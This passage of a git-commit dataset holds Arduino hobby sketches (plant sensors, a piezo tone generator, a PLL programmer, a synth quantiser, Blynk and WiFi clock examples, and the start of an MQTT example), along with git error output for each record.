String(MOISTURE_SENSOR_3_ID) + \":\" + m3;\n \n sendRadioMessage(m1Msg+\",\"+m2Msg+\",\"+m3Msg+\",\"+lightMsg+\",\"+tempMsg);\n delay(600000);\n \n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'scripts\/plants_wireless.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"360ea675410085146fe1df759216ab72fa2fad4e","subject":"Create Pro_Trinket_Photo_Piezo.ino","message":"Create Pro_Trinket_Photo_Piezo.ino\n\nVersion of what we hooked up to the Pro Trinket on 4\/25\/2015","repos":"arduino-or-trinket\/repository-code,arduino-or-trinket\/repository-code","old_file":"Pro_Trinket_Photo_Piezo.ino","new_file":"Pro_Trinket_Photo_Piezo.ino","new_contents":"#define SPEAKER 8\n#define PHOTOCELL 1\n#define SCALE 2\n\nvoid setup() {\n pinMode(SPEAKER,OUTPUT);\n}\n\nvoid loop() {\n int reading=analogRead(PHOTOCELL);\n \n int freq=220+(int)(reading*SCALE);\n beep(SPEAKER,freq,400);\n delay(50);\n}\n\nvoid beep (unsigned char speakerPin,\nint frequencyInHertz,\nlong timeInMilliseconds) {\n int x;\n long delayAmount = (long)(1000000\/frequencyInHertz);\n long loopTime = (long) ((timeInMilliseconds*1000)\/(delayAmount*2));\n \n for (x=0; x<loopTime; x++) {\n digitalWrite(speakerPin,HIGH);\n delayMicroseconds(delayAmount);\n digitalWrite(speakerPin, LOW);\n delayMicroseconds(delayAmount);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Pro_Trinket_Photo_Piezo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b0e6e8be49ad4d7dacc5a96fe2cf82aafb6f576c","subject":"Thermo meter pot value ranges now between 0 and 200.","message":"Thermo meter pot value ranges now between 0 and 200.\n","repos":"bassjansson\/vera,bassjansson\/vera,bassjansson\/vera,bassjansson\/vera","old_file":"room\/arduino\/teleporter\/teleporter.ino","new_file":"room\/arduino\/teleporter\/teleporter.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bassjansson\/vera.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"93d085427aa1019f94c0fa541fd6fd99df83f9e8","subject":"Create pll_programmer.ino","message":"Create pll_programmer.ino","repos":"anas-ambri\/contactless-life-monitoring,anas-ambri\/contactless-life-monitoring","old_file":"firmware\/pll_programmer.ino","new_file":"firmware\/pll_programmer.ino","new_contents":"#include \"TimerOne.h\"\n\nint ADF_CLK = 2;\nint ADF_LE = 4;\nint ADF_CE = 7;\nint ADF_DATA = 8;\nint ADF_MUXOUT = 12;\n\nextern TimerOne Timer1;\n\n#define DEBUG 1\nbool test_freq = false;\nbool muxout = false;\n\nunsigned long R7, R6_1, R6_2, R5_1, R5_2, R4, R3, R2, R1, R0, FLAG;\n\nconst int MAX_BITS = 32;\n#ifdef DEBUG\nconst int NUM_REGS = 12;\n#else\nconst int NUM_REGS = 10;\n#endif\nint counterBit = MAX_BITS -1; \/\/31 because 0-indexed\nint counter = 0;\nunsigned long regs[NUM_REGS]; \n\nvoid setup() {\n Serial.begin(9600);\n \/\/ put your setup code here, to run once:\n pinMode(ADF_CLK, OUTPUT);\n pinMode(ADF_LE, OUTPUT);\n pinMode(ADF_CE, OUTPUT);\n pinMode(ADF_DATA, OUTPUT);\n pinMode(ADF_MUXOUT, INPUT);\n\n Timer1.initialize(1000); \/\/1000us, 1KHz frequency\n Timer1.attachInterrupt(callback);\n\n R7 = 7; \/\/00000000000000000000000000000111\n R6_1 = 200006; \/\/00000000000000110000110101000110;\n R6_2 = 8588614;\/\/00000000100000110000110101000110;\n\n if (test_freq) {\n R5_1 = 100727725; \/\/00000110000000001111101110101101\n R5_2 = 109116333; \/\/00000110100000001111101110101101;\n } else {\n R5_1 = 134282157; \/\/00001000000000001111101110101101;\n R5_2 = 142670765; \/\/00001000100000001111101110101101; \n }\n\n if (muxout) {\n R4 = 25559172; \/\/00000001100001100000000010000100;\n } else {\n R4 = 26738820; \/\/00000001100110000000000010000100;\n }\n\n R3 = 32867; \/\/00000000000000001000000001100011;\n R2 = 255885330; \/\/00001111010000001000000000010010;\n R1 = 1;\/\/00000000000000000000000000000001;\n\n if (muxout) {\n R0 = 4164501504; \/\/11111000001110010100000000000000;\n } else {\n R0 = 2151235584; \/\/10000000001110010100000000000000;\n }\n FLAG = 4294967295;\n \n regs[0] = R7;\n regs[1] = R6_1;\n regs[2] = R6_2;\n regs[3] = R5_1;\n regs[4] = R5_2;\n regs[5] = R4;\n regs[6] = R3;\n regs[7] = R2;\n regs[8] = R1;\n regs[9] = R0;\n #ifdef DEBUG\n regs[10] = FLAG;\n regs[11] = FLAG;\n #endif\n\n digitalWrite(ADF_CE, HIGH);\n}\n\nvoid callback() {\n \/\/Get the state of the CLK\n \/\/(whether it is up or down)\n bool clk_Pin = digitalRead(ADF_CLK);\n\n \/\/Toggle the clock\n digitalWrite(ADF_CLK, clk_Pin ^ 1);\n\n \/\/If the rising edge of the clock\n if(clk_Pin) {\n \n if (counter < NUM_REGS) {\n\n if(counterBit == MAX_BITS -1) {\n digitalWrite(ADF_LE, LOW);\n }\n \n \/\/Write bit at position counterBit in the register\n \n digitalWrite(ADF_DATA, (regs[counter] >> (counterBit)) & 1);\n\n \/\/Move to the next bit\n counterBit--;\n\n \/\/If we got to the last bit on the register\n if (counterBit < 0) {\n \/\/Reset the position of the bit counter\n counterBit = MAX_BITS -1;\n \/\/Move to the next register\n counter++;\n }\n } else {\n \/\/Start all over again\n counter = 0;\n }\n } else {\n \/\/If the next one is the last bit of the register,\n \/\/we need to set LE to high\n if (counterBit == -1) {\n digitalWrite(ADF_LE, HIGH);\n }\n }\n \n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/pll_programmer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a74c1dc1326a6a13fcf4931c4bc73db8a8d79c21","subject":"Fixed a bug where note B# wasn't quantising.","message":"Fixed a bug where note B# wasn't quantising.","repos":"robgmsn\/gmsn","old_file":"puremodular\/pureQuantiser\/GMSN_Quantiser_v2.2\/GMSN_Quantiser_v2.2.ino","new_file":"puremodular\/pureQuantiser\/GMSN_Quantiser_v2.2\/GMSN_Quantiser_v2.2.ino","new_contents":"\/*\n Test Code for the Pure Quantiser LEDs.\n\n LEDs should light in the following in order from top to bottom, for 1\/2sec each\n*\/\n\n#include \"SPI.h\"\n#include <EEPROM.h>\n\n\/\/Setup LED Pin Varibles\nconst byte LR_0 = A3;\nconst byte LR_1 = A4;\nconst byte LR_2 = A5;\nconst byte LR_3 = 7;\nconst byte LC_0 = A0;\nconst byte LC_1 = A1;\nconst byte LC_2 = A2;\n\n\/\/Setup Button Pin Variable\nconst byte BC_0 = 2;\nconst byte BC_1 = 1;\nconst byte BC_2 = 0;\nconst byte BR_0 = 3;\nconst byte BR_1 = 4;\nconst byte BR_2 = 5;\nconst byte BR_3 = 6;\n\n\/\/Setup variable for the buttons, LEDs and temperament\nint note;\nint notes[] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};\n\nint equalTempered[13] = {0, 68, 136, 205, 273, 341, 409, 478, 546, 614, 682, 751, 819};\n\n\n\/\/Setup program control variables\nint mode = 0;\nint i = 1;\n\n\/\/Setup switch debounce variables\nunsigned long lastDebounceTime = 0;\nunsigned long debounceDelay = 500;\nint buttonState;\nint lastButtonState[13] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};\n\n\/\/Setup SPI Bus Pin Variables\nconst byte csADC = 9;\nconst byte csDAC = 10;\n\n\/\/Setup CV and Trigger Pin Variables\nint cvIn;\nint cvOut;\nint lastCvOut;\nint lastCvChange;\nint triggerOnTime = 10;\nconst byte trig = 8;\n\nvoid setup() {\n\n \/\/Setup LED Pins\n pinMode(LR_0, OUTPUT);\n pinMode(LR_1, OUTPUT);\n pinMode(LR_2, OUTPUT);\n pinMode(LR_3, OUTPUT);\n pinMode(LC_0, OUTPUT);\n pinMode(LC_1, OUTPUT);\n pinMode(LC_2, OUTPUT);\n\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, LOW);\n digitalWrite(LC_1, LOW);\n digitalWrite(LC_2, LOW);\n\n \/\/Setup Button Pins\n pinMode(BC_0, OUTPUT);\n pinMode(BC_1, OUTPUT);\n pinMode(BC_2, OUTPUT);\n pinMode(BR_0, INPUT);\n pinMode(BR_1, INPUT);\n pinMode(BR_2, INPUT);\n pinMode(BR_3, INPUT);\n\n digitalWrite(BC_0, LOW);\n digitalWrite(BC_1, LOW);\n digitalWrite(BC_2, LOW);\n\n \/\/Setup SPI Chip Select Pins\n pinMode(csADC, OUTPUT);\n pinMode(csDAC, OUTPUT);\n\n digitalWrite(csADC, HIGH);\n digitalWrite(csDAC, HIGH);\n SPI.begin();\n\n \/\/Setup Trigger Pin\n pinMode(trig, OUTPUT);\n digitalWrite(trig, LOW);\n\n for (int k = 0; k <= 12; k++) {\n \/\/notes[k] = EEPROM[k];\n notes[k] = 1;\n }\n}\n\nvoid loop() {\n\n readNoteButton(i); \n\n if (notes[i] == 1) { \n writeLED(i);\n } else {\n writeLED(0);\n }\n\n \/\/Read ADC\n cvIn = adcRead(1);\n\n \/\/Only Quantise if buttons are pressed.\n mode = 0;\n for (int j = 1; j <= 12; j++) {\n mode = mode + notes[j];\n }\n if (mode == 0) {\n cvOut = cvIn >> 1;\n dacWrite(cvOut);\n vuMeter();\n } else {\n quantiseCV(cvIn);\n }\n\n\/*\n \/\/Write CVOut and Trigger Out\n if (lastCvOut != cvOut) {\n digitalWrite(trig, HIGH);\n lastCvOut = cvOut;\n lastCvChange = millis();\n } else if ((millis() - lastCvChange) > triggerOnTime) {\n digitalWrite(trig, LOW);\n }\n*\/\n\n if (i == 12) {\n i = 0;\n } else {\n i++;\n }\n\n delay(1);\n}\n\n\nvoid readNoteButton(byte button) {\n switch (button) {\n case 1:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_2, HIGH);\n note = digitalRead(BR_0);\n digitalWrite(BC_2, LOW);\n break;\n\n case 2:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_2, HIGH);\n note = digitalRead(BR_1);\n digitalWrite(BC_2, LOW);\n break;\n\n case 3:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_2, HIGH);\n note = digitalRead(BR_2);\n digitalWrite(BC_2, LOW);\n break;\n\n case 4:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_2, HIGH);\n note = digitalRead(BR_3);\n digitalWrite(BC_2, LOW);\n break;\n\n case 5:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_1, HIGH);\n note = digitalRead(BR_0);\n digitalWrite(BC_1, LOW);\n break;\n\n case 6:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_1, HIGH);\n note = digitalRead(BR_1);\n digitalWrite(BC_1, LOW);\n break;\n\n case 7:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_1, HIGH);\n note = digitalRead(BR_2);\n digitalWrite(BC_1, LOW);\n break;\n\n case 8:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_1, HIGH);\n note = digitalRead(BR_3);\n digitalWrite(BC_1, LOW);\n break;\n\n case 9:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_0, HIGH);\n note = digitalRead(BR_0);\n digitalWrite(BC_0, LOW);\n break;\n\n case 10:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_0, HIGH);\n note = digitalRead(BR_1);\n digitalWrite(BC_0, LOW);\n break;\n\n case 11:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_0, HIGH);\n note = digitalRead(BR_2);\n digitalWrite(BC_0, LOW);\n break;\n\n case 12:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_0, HIGH);\n note = digitalRead(BR_3);\n digitalWrite(BC_0, LOW);\n break;\n }\n\n \/\/Debounce and toggle\n if ((millis() - lastDebounceTime) > debounceDelay) {\n\n if (note != buttonState) {\n buttonState = note;\n if (buttonState == HIGH) {\n notes[button] = !notes[button];\n EEPROM[button] = notes[button];\n lastDebounceTime = millis();\n }\n }\n }\n lastButtonState[button] = notes[button];\n\n}\n\nvoid writeLED(byte LED) {\n switch (LED) {\n case 0:\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, LOW);\n digitalWrite(LC_1, LOW);\n digitalWrite(LC_2, LOW);\n break;\n\n case 1:\n digitalWrite(LR_0, LOW);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, LOW);\n digitalWrite(LC_1, LOW);\n digitalWrite(LC_2, HIGH);\n break;\n\n case 2:\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, LOW);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, LOW);\n digitalWrite(LC_1, LOW);\n digitalWrite(LC_2, HIGH);\n break;\n\n case 3:\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, LOW);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, LOW);\n digitalWrite(LC_1, LOW);\n digitalWrite(LC_2, HIGH);\n break;\n\n case 4:\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, LOW);\n digitalWrite(LC_0, LOW);\n digitalWrite(LC_1, LOW);\n digitalWrite(LC_2, HIGH);\n break;\n\n case 5:\n digitalWrite(LR_0, LOW);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, LOW);\n digitalWrite(LC_1, HIGH);\n digitalWrite(LC_2, LOW);\n break;\n\n case 6:\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, LOW);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, LOW);\n digitalWrite(LC_1, HIGH);\n digitalWrite(LC_2, LOW);\n break;\n\n case 7:\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, LOW);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, LOW);\n digitalWrite(LC_1, HIGH);\n digitalWrite(LC_2, LOW);\n break;\n\n case 8:\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, LOW);\n digitalWrite(LC_0, LOW);\n digitalWrite(LC_1, HIGH);\n digitalWrite(LC_2, LOW);\n break;\n\n case 9:\n digitalWrite(LR_0, LOW);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, HIGH);\n digitalWrite(LC_1, LOW);\n digitalWrite(LC_2, LOW);\n break;\n\n case 10:\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, LOW);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, HIGH);\n digitalWrite(LC_1, LOW);\n digitalWrite(LC_2, LOW);\n break;\n\n case 11:\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, LOW);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, HIGH);\n digitalWrite(LC_1, LOW);\n digitalWrite(LC_2, LOW);\n break;\n\n case 12:\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, LOW);\n digitalWrite(LC_0, HIGH);\n digitalWrite(LC_1, LOW);\n digitalWrite(LC_2, LOW);\n break;\n }\n}\n\nvoid dacWrite(int value) {\n\n digitalWrite(csDAC, LOW);\n byte data = value >> 8;\n data = data & B00001111;\n data = data | B00110000;\n SPI.transfer(data);\n\n data = value;\n SPI.transfer(data);\n\n digitalWrite(csDAC, HIGH);\n}\n\nint adcRead(byte channel) {\n\n byte commandbits = B00001101; \/\/command bits - 0000, start, mode, chn, MSBF\n unsigned int b1 = 0; \/\/ get the return var's ready\n unsigned int b2 = 0;\n commandbits |= ((channel - 1) << 1); \/\/ update the command bit to select either ch 1 or 2\n digitalWrite(csADC, LOW);\n SPI.transfer(commandbits); \/\/ send out the command bits\n const int hi = SPI.transfer(b1); \/\/ read back the result high byte\n const int lo = SPI.transfer(b2); \/\/ then the low byte\n digitalWrite(csADC, HIGH);\n b1 = lo + (hi << 8); \/\/ assemble the two bytes into a word\n \/\/return b1;\n return (b1 >> 2); \/\/ We have got a 12bit answer but strip LSB's if\n \/\/ required >>4 ==10 bit (0->1024), >>2 ==12bit (0->4096)\n}\n\nint quantiseCV(int cvIn) {\n\n int octave = cvIn \/ 819;\n int vOct = octave * 819;\n int vOffset = 0;\n\n for (int index = 1; index <= 12; index ++) {\n if (notes[index] == 1 && (cvIn - vOct) > index * 63) {\n vOffset = (index * 63) - 63;\n cvOut = vOct + vOffset;\n writeLED(index);\n cvOut = cvOut >> 1;\n }\n }\n \n dacWrite(cvOut);\n}\n\nvoid vuMeter() {\n for (int l = 1; l <= 12; l++) {\n if (cvIn > (300 * l)) {\n writeLED(l);\n }\n }\n}\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'puremodular\/pureQuantiser\/GMSN_Quantiser_v2.2\/GMSN_Quantiser_v2.2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"95a56ce4185f2863b98403ee4e6875de1c27e374","subject":"Add LED widget setColor example","message":"Add LED widget setColor example\n","repos":"blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library","old_file":"examples\/Widgets\/LED\/LED_Color\/LED_Color.ino","new_file":"examples\/Widgets\/LED\/LED_Color\/LED_Color.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * Blynk using a LED widget on your phone!\n *\n * App project setup:\n * LED widget on V1\n *\n * WARNING :\n * For this example you'll need SimpleTimer library:\n * https:\/\/github.com\/jfturcot\/SimpleTimer\n * Visit this page for more information:\n * http:\/\/playground.arduino.cc\/Code\/SimpleTimer\n *\n **************************************************************\/\n\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <SPI.h>\n#include <Ethernet.h>\n#include <BlynkSimpleEthernet.h>\n#include <SimpleTimer.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nWidgetLED led1(V1);\n\nSimpleTimer timer;\n\n#define BLYNK_GREEN \"#23C48E\"\n#define BLYNK_BLUE \"#04C0F8\"\n#define BLYNK_YELLOW \"#ED9D00\"\n#define BLYNK_RED \"#D3435C\"\n#define BLYNK_DARK_BLUE \"#5F7CD8\"\n\nvoid setup()\n{\n Serial.begin(9600); \/\/ See the connection status in Serial Monitor\n Blynk.begin(auth);\n\n timer.setInterval(1000L, blinkLedWidget);\n}\n\n\/\/ V1 LED Widget is blinking\nvoid blinkLedWidget()\n{\n if (led1.getValue()) {\n led1.setColor(BLYNK_RED);\n Serial.println(\"LED on V1: red\");\n } else {\n led1.setColor(BLYNK_GREEN);\n Serial.println(\"LED on V1: green\");\n }\n}\n\nvoid loop()\n{\n Blynk.run();\n timer.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Widgets\/LED\/LED_Color\/LED_Color.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b6a8e19d6098af6cfe383abd90f8997e65769b93","subject":"date parsing outline","message":"date parsing outline\n","repos":"alis0nc\/SmartAlarm,alis0nc\/SmartAlarm","old_file":"SmartAlarm.ino","new_file":"SmartAlarm.ino","new_contents":"\/\/ DS1307 RTC setup stuff\n#include <Wire.h>\n#include <RTClib.h>\n\/\/ =====================================================\n\/\/ lcd setup things\n #include <LCD.h>\n #include <LiquidCrystal_I2C.h>\n #define I2C_ADDR 0x27 \/\/ I2C address of PCF8574A\n #define BACKLIGHT_PIN 3\n #define En_pin 2\n #define Rw_pin 1\n #define Rs_pin 0\n #define D4_pin 4\n #define D5_pin 5\n #define D6_pin 6\n #define D7_pin 7\n LiquidCrystal_I2C lcd(I2C_ADDR,En_pin,Rw_pin,Rs_pin,D4_pin,D5_pin,D6_pin,D7_pin, BACKLIGHT_PIN, POSITIVE);\n\/\/ end lcd setup things\n\/\/ =====================================================\n\/\/ cc3000 setup things\n#include <Adafruit_CC3000.h>\n#include <ccspi.h>\n#include <SPI.h>\n#include <string.h>\n#include \"utility\/debug.h\"\n\n\/\/ These are the interrupt and control pins\n#define ADAFRUIT_CC3000_IRQ 3 \/\/ MUST be an interrupt pin!\n\/\/ These can be any two pins\n#define ADAFRUIT_CC3000_VBAT 5\n#define ADAFRUIT_CC3000_CS 10\n\/\/ Use hardware SPI for the remaining pins\n\/\/ On an UNO, SCK = 13, MISO = 12, and MOSI = 11\nAdafruit_CC3000 cc3000 = Adafruit_CC3000(ADAFRUIT_CC3000_CS, ADAFRUIT_CC3000_IRQ, ADAFRUIT_CC3000_VBAT,\n SPI_CLOCK_DIVIDER); \/\/ you can change this clock speed but DI\n\n#define WLAN_SSID \"Anything Box\" \/\/ cannot be longer than 32 characters!\n#define WLAN_PASS \"3l3ktr0delica\"\n\/\/ Security can be WLAN_SEC_UNSEC, WLAN_SEC_WEP, WLAN_SEC_WPA or WLAN_SEC_WPA2\n#define WLAN_SECURITY WLAN_SEC_WPA2\n\n#define WEBSITE \"www.adafruit.com\"\n#define WEBPAGE \"\/testwifi\/index.html\"\n#define IDLE_TIMEOUT_MS 3000\n\/\/ end cc3000 setup things\n\/\/ =====================================================\n\nDateTime now = DateTime(0);\n\nDateTime parseHeader(uint32_t ip, uint16_t port, char *host, char *path) {\n Adafruit_CC3000_Client www = cc3000.connectTCP(ip, port);\n if (www.connected()) {\n www.fastrprint(F(\"GET \"));\n www.fastrprint(path);\n www.fastrprint(F(\" HTTP\/1.1\\r\\n\"));\n www.fastrprint(F(\"Host: \")); www.fastrprint(host); www.fastrprint(F(\"\\r\\n\"));\n www.fastrprint(F(\"\\r\\n\"));\n www.println();\n } else {\n Serial.println(F(\"Connection failed\")); \n return NULL;\n }\n\n \/* Read data until either the connection is closed, or the idle timeout is reached. *\/ \n char line[256];\n size_t pos = 0;\n unsigned long lastRead = millis();\n while (www.connected() && (millis() - lastRead < IDLE_TIMEOUT_MS)) {\n while (www.available()) {\n char c = www.read();\n if (c == '\\n') { \/\/ we've reached a newline\n line[pos++] = 0;\n pos = 0;\n \/\/ now we need to see whether this is the 'Date:' line\n if (line[0] == 'D' &&\n line[1] == 'a' &&\n line[2] == 't' &&\n line[3] == 'e' &&\n line[4] == ':') { \/\/ please fucking refactor this shit\n Serial.println(line);\n }\n } else { \/\/ if we haven't reached a newline, put it in the buffer\n line[pos] = c;\n line[pos + 1] = 0;\n pos++;\n }\n lastRead = millis();\n }\n }\n www.close();\n Serial.println(F(\"-------------------------------------\"));\n \n}\n\nvoid setup() {\n \/\/ serial debug connection\n Serial.begin(115200);\n \/\/ put your setup code here, to run once:\n Serial.println(F(\"\\nInitialising the LCD ...\"));\n lcd.begin(20,4);\n lcd.home();\n lcd.print(\"Connecting...\");\n lcd.setBacklight(HIGH);\n\n \/* Initialise the module *\/\n Serial.println(F(\"\\nInitialising the CC3000 ...\"));\n if (!cc3000.begin())\n {\n Serial.println(F(\"Unable to initialise the CC3000! Check your wiring?\"));\n while(1);\n }\n\/* Attempt to connect to an access point *\/\n char *ssid = WLAN_SSID; \/* Max 32 chars *\/\n Serial.print(F(\"\\nAttempting to connect to \")); Serial.println(ssid);\n if (!cc3000.connectToAP(WLAN_SSID, WLAN_PASS, WLAN_SECURITY, 5)) {\n Serial.println(F(\"Failed!\"));\n while(1);\n }\n Serial.println(F(\"Connected!\"));\n \n \/* Wait for DHCP to complete *\/\n Serial.println(F(\"Request DHCP\"));\n while (!cc3000.checkDHCP())\n {\n delay(100);\n } \n lcd.clear();\n\n \/\/ try to set current time\n uint32_t ip = 0;\n \/\/ Try looking up the website's IP address\n Serial.print(WEBSITE); Serial.print(F(\" -> \"));\n while (ip == 0) {\n if (! cc3000.getHostByName(WEBSITE, &ip)) {\n Serial.println(F(\"Couldn't resolve!\"));\n }\n delay(500);\n }\n\n now = parseHeader(ip, 80, WEBSITE, WEBPAGE);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n lcd.setCursor(0,0);\n if (cc3000.checkConnected()) {\n lcd.print(\"ssid: \");\n uint32_t ipAddress, netmask, gateway, dhcpserv, dnsserv;\n char ipbuf[17];\n cc3000.getIPAddress(&ipAddress, &netmask, &gateway, &dhcpserv, &dnsserv);\n lcd.setCursor(0,1);\n lcd.print(WLAN_SSID);\n lcd.setCursor(0,2);\n lcd.print(\"ip: \");\n sprintf(ipbuf, \"%d.%d.%d.%d\", (uint8_t)(ipAddress>>24), (uint8_t)(ipAddress>>16), (uint8_t)(ipAddress>>8), (uint8_t)(ipAddress));\n lcd.print(ipbuf);\n } else {\n lcd.print(\"disconnected!\");\n }\n \n lcd.setCursor(0,3);\n lcd.print(\"uptime: \");\n lcd.print(millis()\/1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SmartAlarm.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"a1743dddd5dd1da6527ec98929e7706f7fc7b3dc","subject":"Improvements for Particle platform","message":"Improvements for Particle platform\n\nRelies on particle console instead of serial, and never bricks the\ndevice in a deadloop.\n","repos":"kennethlimcp\/Adafruit_L3GD20","old_file":"firmware\/examples\/Adafruit_L3GD20_test.ino","new_file":"firmware\/examples\/Adafruit_L3GD20_test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kennethlimcp\/Adafruit_L3GD20.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"ab57705b2e3ef4f536efbc8d975e1ce92be07385","subject":"Stubs for voltage and current in diag","message":"Stubs for voltage and current in diag\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/arduino\/arduino.ino","new_file":"Software\/arduino\/arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"57885554f9fd2c776d5a1997f996421c34392697","subject":"adding ethernet example","message":"adding ethernet example\n\nIt took more than a couple minutes to get some sample code going with ethernet, so I figured it would benefit everyone if there was at least one example out there.\n","repos":"adafruit\/Adafruit_MQTT_Library","old_file":"examples\/mqtt_ethernet\/mqtt_ethernet.ino","new_file":"examples\/mqtt_ethernet\/mqtt_ethernet.ino","new_contents":"\/***************************************************\n Adafruit MQTT Library Ethernet Example\n\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n\n Written by Alec Moore\n Derived from the code written by Limor Fried\/Ladyada for Adafruit Industries.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n#include <SPI.h>\n#include \"Adafruit_MQTT.h\"\n#include \"Adafruit_MQTT_Client.h\"\n\n#include <Ethernet.h>\n#include <EthernetClient.h>\n#include <Dns.h>\n#include <Dhcp.h>\n\n\/************************* Ethernet Client Setup *****************************\/\nbyte mac[] = {0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED};\n\n\/\/Uncomment the following, and set to a valid ip if you don't have dhcp available.\n\/\/IPAddress iotIP (192, 168, 0, 42);\n\/\/Uncomment the following, and set to your preference if you don't have automatic dns.\n\/\/IPAddress dnsIP (8, 8, 8, 8);\n\/\/If you uncommented either of the above lines, make sure to change \"Ethernet.begin(mac)\" to \"Ethernet.begin(mac, iotIP)\" or \"Ethernet.begin(mac, iotIP, dnsIP)\"\n\n\n\/************************* Adafruit.io Setup *********************************\/\n\n#define AIO_SERVER 